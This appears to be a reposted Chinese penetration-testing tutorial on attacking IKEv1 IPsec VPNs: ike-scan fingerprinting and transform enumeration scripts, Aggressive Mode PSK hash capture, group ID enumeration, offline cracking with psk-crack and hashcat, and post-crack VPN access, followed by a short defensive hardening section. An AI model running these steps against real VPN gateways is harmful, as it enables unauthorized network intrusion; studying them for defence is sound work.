【硬核实战】拆解IPsecVPN的边界:IKE协议指纹识别与PSK离线爆破全流程

admin 2026-04-29 05:58:46 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档深入解析IPsecVPN安全漏洞,重点剖析IKEv1协议在野蛮模式下的设计缺陷,详细演示如何使用ike-scan工具进行厂商指纹识别、传输集枚举和Backoff时序分析,并系统介绍通过psk-crack对PSK哈希进行离线爆破的全流程。文章指出尽管IKEv2更安全,但企业环境中大量遗留设备仍使用易受攻击的IKEv1协议,为攻击者提供了无需0day即可突破边界的实用路径。 综合评分: 85 文章分类: 漏洞分析,渗透测试,WEB安全,红队,安全工具


cover_image

【硬核实战】拆解 IPsec VPN 的边界:IKE 协议指纹识别与 PSK 离线爆破全流程

原创

极客零零七 极客零零七

极客零零七

2026年4月28日 07:14 加拿大

在小说阅读器读本章

去阅读

#

导语:企业内网的边界正在消失,但 IPsec VPN 依然是众多大型企业最后的”护城河”。问题在于,这条护城河的守卫开口说话时,连身份、装备、年龄都告诉你了。

本期【极客零零七】把 IPsec VPN 攻击面里最经典也最被低估的一环拆透:从协议层理解 IKE,到用 ike-scan 做隐蔽的厂商指纹识别,再到用 psk-crack 把野蛮模式抓到的 PSK 哈希离线爆破。 这是一条不需要 0day、却能频繁打穿真实企业边界的链路。


01. 协议背景:IPsec 与 IKE 到底在做什么

聊攻击之前,必须把协议讲清楚。否则你看到 ike-scan 的输出只能复制粘贴命令,不知道每个字段在说什么。

IPsec 是一个框架,不是一个协议

很多人以为 IPsec 是某个具体的加密协议,其实它是一整套 IETF 定义的框架,由几个独立部分组成:

IPsec 框架├── ESP (Encapsulating Security Payload)  — 负责加密+完整性├── AH(Authentication Header)— 只完整性,不加密(很少单独使用)└── IKE(Internet Key Exchange)—协商密钥、建立 SA
SA (Security Association) = 一份"双方加密通信的合同"内容包括:用什么加密算法、用什么哈希、共享什么密钥、有效期多久

ESP 和 AH 走的是 IP 层(协议号 50/51),不走端口。真正暴露在 UDP 端口上的是 IKE——所有攻防的入口都在这里。

IKE 的两个阶段

IKE 本身分两阶段,理解这个分层是后面所有攻击的基础:

Phase 1(ISAKMP SA)├─ 目的:双方互相鉴权 + 建立一条加密信道├─ 结果:拿到一个 ISAKMP SA,后面所有协商都在这条信道里跑└─ 模式:    ├─ Main Mode (主模式)      :6 个消息,身份信息加密传输    └─ Aggressive Mode (野蛮模式):3 个消息,身份信息部分明文 ← 攻击重点
Phase 2(IPsec SA)├─ 目的:协商真正用于业务数据加密的 SA├─ 必须在 Phase 1 建立的加密信道里完成└─ 模式:Quick Mode

野蛮模式之所以叫”野蛮”,是因为它把 6 个消息压缩成 3 个,代价是把响应方的身份哈希直接发在第二个消息里。这个哈希是:

HASH_R = PRF(SKEYID, g^xr | g^xi | CKY-R | CKY-I | SAi_b | IDir_b)

里面用到了 PSK(通过 SKEYID 派生)。攻击者只要被动监听或主动诱导一次握手,就能把这个哈希拿走,离线慢慢爆。这就是后面 psk-crack 要干的事。

IKEv1 vs IKEv2

特性  IKEv1 IKEv2握手消息数  9(Main+Quick) 4野蛮模式  有←漏洞重灾区 没有,从协议层就消除NAT 穿透需要扩展 原生支持EAP 认证不原生 原生状态机复杂度  高,实现bug多 简化

实战观察:尽管 IKEv2 早在 2005 年就出了 RFC(4306),但是国内大量企业 VPN 还在跑 IKEv1,特别是老旧的 Cisco ASA、华为 USG 系列、还有某些品牌的 SSL VPN 设备的 IPsec 兼容模式。这是攻击面持续存在的根本原因。


02. 主动发现:ike-scan 的多种姿势

ike-scan 是 Roy Hills(NTA Monitor)写的老牌工具,2003 年发布到现在依然是 IKE 攻防的事实标准。比起 nmap,它直接说 IKE 协议方言,能问出 nmap 问不出的东西。

安装与基本用法

# Kali / Debian / Ubuntusudo apt install ike-scan
# 验证安装ike-scan --version

ike-scan 必须以 root 运行,因为它要直接发 UDP/500(特权端口源)。

2.1 主机发现:找出活着的 IKE 服务

最朴素的扫描:

sudo ike-scan -M 192.168.100.1

-M 让输出多行展开,更易读。返回示例:

Starting ike-scan 1.9.5 with 1 hosts192.168.100.1   Main Mode Handshake returned        HDR=(CKY-R=8a4f1c2b...)        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)        VID=4f45757b8c3e9...  (Cisco ASA)

只要看到 Main Mode Handshake returned 或 Aggressive Mode Handshake returned,就说明端口活着、协议在跑。这比 nmap 的 open|filtered 准确得多。

2.2 网段扫描

发现内网中所有 IPsec 网关:

sudo ike-scan -M 10.0.0.0/24sudo ike-scan -M --retry=1 --timeout=500 10.0.0.0/24  # 加快速度

注意:UDP 没有连接概念,扫描结果可能因丢包而漏报,建议跑 2-3 遍交叉验证。

2.3 传输集(Transform)枚举

IKE 协商时,发起方会列出”我能接受的加密套件清单”,响应方挑一个回复。默认情况下 ike-scan 只发 8 个最常见的组合——如果服务器配置了非默认套件,会被误判为”无响应”。

强制枚举所有可能组合:

# 暴力枚举常见 transform 组合sudo ike-scan -M --trans="5,2,1,2" 192.168.100.1   # 3DES/SHA1/PSK/MODP1024sudo ike-scan -M --trans="7/256,2,1,5" 192.168.100.1  # AES-256/SHA1/PSK/MODP1536
# 用脚本批量跑:for enc in 1 5 7/128 7/192 7/256; do  for hash in 1 2; do    for auth in 1 3 64221 65001; do      for group in 1 2 5 14; do        sudo ike-scan -M --trans="$enc,$hash,$auth,$group" 192.168.100.1 \          | grep -A1 "returned"      done    done  donedone

参数对应表(背一下,攻防都用得着):

Encryption:  1=DES  5=3DES  7=AES (后跟密钥长度)Hash:  1=MD52=SHA14=SHA2565=SHA3846=SHA512Auth:        1=PSK  3=RSA-Sig  64221=Hybrid  65001=XAUTHGroup:       1=MODP768  2=MODP1024  5=MODP1536  14=MODP2048

红队价值:服务器接受的 transform 集合本身就是指纹——只有 Cisco 默认接受 hybrid(64221),只有少数厂商接受 XAUTH-PSK(65001)。

2.4 Vendor ID 指纹识别

每个 IKE 实现都会在握手时塞一个 Vendor ID(VID)payload。ike-scan 自带一份 VID 数据库,能直接告诉你对面是什么货:

sudo ike-scan -M --showbackoff 192.168.100.1

输出里会有:

VID=12f5f28c457168a9702d9fe274cc0100  (Cisco Unity)VID=afcad71368a1f1c96b8696fc77570100  (Dead Peer Detection v1.0)VID=4048b7d56ebce88525e7de7f00d6c2d3  (IKE Fragmentation)VID=4a131c81070358455c5728f20e95452f  (RFC 3947 NAT-T)

逐条解读:

  • 前两条 Cisco Unity + Dead Peer Detection:99% 是 Cisco 设备
  • IKE Fragmentation:暗示设备处理大包能力,多见于 Cisco/Juniper
  • RFC 3947 NAT-T:支持标准 NAT 穿透

不同厂商的”VID 指纹组合”几乎是唯一的,比 banner grabbing 还稳

2.5 Backoff 指纹识别(杀手锏)

更阴的一招:backoff fingerprinting

原理是这样:当 IKE 服务器没收到回复时,会按照各自实现的特定时序重发。Cisco、Juniper、StrongSwan、Fortinet 的重发间隔模式(比如”4s, 8s, 16s, 32s”还是”6s, 12s, 24s”)都不同。ike-scan 故意不回 ACK,记录服务器的重发时序,对比内置指纹库:

sudo ike-scan -M --showbackoff 192.168.100.1

末尾会输出:

IKE Backoff Patterns:
IP AddressNo.RecvtimeDelta Time192.168.100.1  11714234567.1234560.000000192.168.100.1  21714234571.4567894.333333192.168.100.1  31714234579.7890128.332223...192.168.100.1   Implementation guess: Cisco VPN Concentrator

这套技术的可怕之处:哪怕对方禁用了 VID 上报、刻意伪装协议,backoff 时序是写死在内核的 retransmission timer 里的,几乎没法隐藏。


03. 野蛮模式利用:抓 PSK 哈希

到这里,假设你已经识别出目标是 IKEv1 + 支持 Aggressive Mode + 用 PSK 认证。这是攻击的最佳剧本。

3.1 探测是否启用野蛮模式

sudo ike-scan -A -M 192.168.100.1

-A 强制野蛮模式。如果服务器返回 Aggressive Mode Handshake returned,恭喜,进入下一步。

3.2 抓取 PSK 哈希

野蛮模式下,服务器会在第二个消息里带上 HASH_R(用 PSK 派生的密钥计算的哈希)。ike-scan 用 --pskcrack 直接把握手过程序列化成可爆破的格式:

sudo ike-scan -A -P psk_hash.txt --id="vpnuser" 192.168.100.1

参数解释:

-A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;使用 Aggressive Mode-P&nbsp;<file>&nbsp; &nbsp; &nbsp; &nbsp;把抓到的握手内容输出为 psk-crack 格式--id="xxx"&nbsp; &nbsp; &nbsp; 指定客户端 Identity (Group&nbsp;ID)&nbsp; &nbsp;这个值很关键,不同的groupID可能对应不同 PSK

输出文件 psk_hash.txt 长这样:

192.168.100.1:Main:1:8a4f1c2b...:5e8d2f3a...:0a1b2c3d...:...

每个冒号分隔的字段都是握手过程中的关键参数(CKY-I、CKY-R、SA payload、KE payload、Nonce、ID、HASH_R)。psk-crack 会用这些做暴破时的 KDF 输入。

3.3 Group ID 枚举(很多人会忽略)

如果你不知道目标用的 Group ID(XAUTH 场景下经常需要),可以批量试:

# 准备一个常见 group 名字典cat&nbsp;> groups.txt <<EOFadminadministratorvpnvpnusersemployeesremotedefaultgroup1salesopsEOF
# 批量探测哪些 group 能触发握手响应while&nbsp;read&nbsp;group;&nbsp;do&nbsp;&nbsp;echo&nbsp;"[*] Trying group:&nbsp;$group"&nbsp; sudo ike-scan -A -M --id="$group"&nbsp;192.168.100.1 \&nbsp; &nbsp; | grep -q&nbsp;"Handshake returned"&nbsp;&&&nbsp;echo&nbsp;"[+] HIT:&nbsp;$group"done&nbsp;< groups.txt

某些设备(典型如 Cisco ASA)对不存在的 group存在的 group响应方式不同——这就是 group ID 枚举漏洞,可以单独写一篇了。


04. psk-crack:把哈希砸开

psk-crack 是 ike-scan 套件里的离线爆破工具,专门处理 -P 输出的格式。

4.1 字典模式(首选)

psk-crack -d /usr/share/wordlists/rockyou.txt psk_hash.txt

实测在普通 CPU 上跑 rockyou.txt(约 14M 条),10-15 分钟能跑完。命中后输出:

Starting&nbsp;psk-crack&nbsp;[ike-scan 1.9.5]&nbsp;(http://www.nta-monitor.com/tools/ike-scan/)Running in dictionary cracking mode
key&nbsp;"Cisco123!"&nbsp;matches MD5 hash&nbsp;8a4f1c2b...
Ending&nbsp;psk-crack:&nbsp;142357&nbsp;iterations in&nbsp;12.453&nbsp;seconds (11432.18&nbsp;iterations/sec)

4.2 暴力模式

如果字典命中失败,可以上暴破。需要给定字符集和长度:

# 1-8 位、a-z+0-9、暴力穷举psk-crack -B 8 --charset="abcdefghijklmnopqrstuvwxyz0123456789"&nbsp;psk_hash.txt

注意:暴力模式在 7 位以上的搜索空间会非常慢,单核 CPU 一秒只有 ~10K iterations。真实场景下 90% 靠字典+规则变形,纯暴破基本只用于 ≤6 位短密码兜底

4.3 与 Hashcat 协同(性能党必看)

psk-crack 不支持 GPU。如果有显卡,导出哈希给 hashcat:

# Hashcat 模式 5300 = IKE-PSK MD5# Hashcat 模式 5400 = IKE-PSK SHA1hashcat -m 5300 psk_hash.txt /usr/share/wordlists/rockyou.txt
# 加规则集,提高命中率hashcat -m 5300 -r /usr/share/hashcat/rules/best64.rule \&nbsp; psk_hash.txt rockyou.txt

单张 RTX 4090 跑 IKE-PSK 大约能到 1-2 GH/s,比 psk-crack 快 5-6 个数量级。企业环境的 PSK 通常是「公司名+年份+!」「员工编号+品牌名」这种弱密码,规则攻击命中率惊人。

4.4 拿到 PSK 之后

PSK 不等于 VPN 接入凭据,它是”加入这个 VPN tunnel 群组”的密钥。拿到 PSK 后还需要:

1、 配置 IKE 客户端(strongSwan / VPNC)&nbsp; &nbsp;- PSK = 刚爆出来的密码&nbsp; &nbsp;-&nbsp;Group&nbsp;ID&nbsp;= 之前枚举到的有效&nbsp;group&nbsp; &nbsp;- 服务器地址、加密套件填好
2、 触发 Phase&nbsp;1&nbsp;+ Phase&nbsp;2&nbsp;完整握手
3、 通常服务器还会要求 XAUTH(用户名+密码二次认证)&nbsp; &nbsp;- 这一步可以用之前从其他渠道收集的凭据撞库&nbsp; &nbsp;- 或者通过 phishing 拿到合法用户凭据
4、 拨入成功后进入企业内网,作为后续横向移动起点

PSK 本身是”前置门票”——能不能进门还要看后面的认证强度。但很多老旧部署只用 PSK 不用 XAUTH,这种场景下爆破 PSK 就直接接管了 VPN。


05. 防守视角

把攻击面讲完,防守动作就明显了:

1、 彻底禁用 IKEv1 Aggressive Mode&nbsp; &nbsp;- Cisco ASA:&nbsp;crypto isakmp aggressive-mode disable&nbsp; &nbsp;-&nbsp;StrongSwan: charon.i_dont_care_about_security_and_use_aggressive_mode_psk = no&nbsp; &nbsp;-&nbsp;不修不补,永远在裸奔
2、 全面迁移到 IKEv2&nbsp; &nbsp;-&nbsp;协议层就没有野蛮模式&nbsp; &nbsp;-&nbsp;抗 DoS、NAT 穿透原生支持&nbsp; &nbsp;-&nbsp;老设备如果不支持 IKEv2,应该列入退役计划
3、 PSK → 证书认证&nbsp; &nbsp;-&nbsp;PSK 共享密钥模型本身就是反零信任的&nbsp; &nbsp;-&nbsp;改 X.509 + 客户端证书 + EAP
4、 限制 UDP/500、UDP/4500 的源 IP&nbsp; &nbsp;-&nbsp;如果是 site-to-site,固定对端 IP 白名单&nbsp; &nbsp;-&nbsp;如果是 client VPN,配合地理围栏 / 设备指纹
5、 监控异常 IKE 流量&nbsp; &nbsp;-&nbsp;短时间内大量来自单一 IP 的不同 transform 协商请求&nbsp; &nbsp; &nbsp;= ike-scan transform 枚举特征&nbsp; &nbsp;-&nbsp;大量针对不同 Group ID 的握手失败&nbsp; &nbsp; &nbsp;= group ID 暴破特征&nbsp; &nbsp;-&nbsp;收到 Aggressive Mode 请求但本端配置不支持&nbsp; &nbsp; &nbsp;= 攻击者主动诱导特征

极客点评: IKE 是个 1998 年的协议,野蛮模式更是早在 2002 年就被业界判过死刑。但二十多年过去了,今天用 ike-scan 在企业边界扫一圈,依然能批量发现 Aggressive Mode + PSK 的部署。这不是技术问题,是运维换代的成本问题——老配置在能跑就别动的惯性下,一个 1998 年的协议漏洞,被一茬一茬的攻击者吃了二十多年。

欢迎持续关注【极客零零七】,我们只分享最硬核的攻防技术。

回复「提权」获取 Windows + Linux 提权速查表 回复「AD攻击」AD 域渗透攻击手册


参考资料

  • https://www.nta-monitor.com/wiki/index.php/Ike-scan_User_Guide
  • https://www.verylazytech.com/network-pentesting/ipsec-ike-vpn-port-500-udp
  • https://angelica.gitbook.io/hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting
  • https://medium.com/@subidhapandey702/expressway-walkthrough-031373f67ceb
  • RFC 2409 (IKEv1) / RFC 4306 (IKEv2)

往期推荐

[技术深浅] AD域渗透攻击链全解

从网线到域控:一次完整AD渗透的全流程复盘

AD攻击武器库:从侦察到持久化,每个阶段该用什么工具

被遗忘的攻击面:AD CS证书服务攻击完全指南(ESC1-ESC11)

AD委派攻击三部曲:从非约束委派到RBCD,一条被低估的域控攻击路径


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:极客零零七 极客零零七 极客零零七《【硬核实战】拆解 IPsec VPN 的边界:IKE 协议指纹识别与 PSK 离线爆破全流程》

评论:0   参与:  0